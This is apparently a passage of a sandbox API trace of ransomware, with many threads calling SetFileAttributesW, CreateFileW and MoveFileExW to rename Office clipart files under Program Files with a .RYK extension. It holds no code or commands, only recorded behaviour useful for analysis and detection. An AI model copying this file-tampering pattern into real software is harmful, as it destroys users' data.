	[0236.735] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1692
	os_tid = 0x2088

	[0236.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF", dwFileAttributes=0x80) returned 0
	[0236.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1693
	os_tid = 0x208c

	[0236.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF", dwFileAttributes=0x80) returned 0
	[0236.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.737] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1694
	os_tid = 0x2090

	[0236.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF", dwFileAttributes=0x80) returned 0
	[0236.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1695
	os_tid = 0x2094

	[0236.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF", dwFileAttributes=0x80) returned 0
	[0236.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.741] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1696
	os_tid = 0x2098

	[0236.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF", dwFileAttributes=0x80) returned 0
	[0236.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.512] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1697
	os_tid = 0x209c

	[0236.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF", dwFileAttributes=0x80) returned 0
	[0236.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.743] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1698
	os_tid = 0x20a8

	[0236.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF", dwFileAttributes=0x80) returned 0
	[0236.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.745] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1699
	os_tid = 0x20ac

	[0236.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF", dwFileAttributes=0x80) returned 0
	[0236.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1700
	os_tid = 0x20b0

	[0236.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF", dwFileAttributes=0x80) returned 0
	[0236.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1701
	os_tid = 0x20b4

	[0236.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF", dwFileAttributes=0x80) returned 0
	[0236.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1702
	os_tid = 0x20b8

	[0236.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF", dwFileAttributes=0x80) returned 0
	[0236.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.835] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1703
	os_tid = 0x20bc

	[0236.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF", dwFileAttributes=0x80) returned 0
	[0236.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.754] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1704
	os_tid = 0x20c0

	[0236.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG", dwFileAttributes=0x80) returned 0
	[0236.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.755] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099145.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1705
	os_tid = 0x20c4

	[0236.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF", dwFileAttributes=0x80) returned 0
	[0236.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1706
	os_tid = 0x20c8

	[0236.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG", dwFileAttributes=0x80) returned 0
	[0236.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099147.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099147.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1707
	os_tid = 0x20cc

	[0236.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG", dwFileAttributes=0x80) returned 0
	[0236.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.840] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1708
	os_tid = 0x20d0

	[0236.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF", dwFileAttributes=0x80) returned 0
	[0236.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1709
	os_tid = 0x20e0

	[0236.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG", dwFileAttributes=0x80) returned 0
	[0236.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1710
	os_tid = 0x20e4

	[0236.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF", dwFileAttributes=0x80) returned 0
	[0236.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1711
	os_tid = 0x20e8

	[0236.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG", dwFileAttributes=0x80) returned 0
	[0236.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.848] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1712
	os_tid = 0x20ec

	[0236.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF", dwFileAttributes=0x80) returned 0
	[0236.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.916] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.917] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1713
	os_tid = 0x20f0

	[0236.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG", dwFileAttributes=0x80) returned 0
	[0236.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.918] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1714
	os_tid = 0x20f4

	[0236.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG", dwFileAttributes=0x80) returned 0
	[0236.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1715
	os_tid = 0x20f8

	[0236.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG", dwFileAttributes=0x80) returned 0
	[0236.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.921] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1716
	os_tid = 0x20fc

	[0236.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG", dwFileAttributes=0x80) returned 0
	[0236.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1717
	os_tid = 0x2100

	[0236.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF", dwFileAttributes=0x80) returned 0
	[0236.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
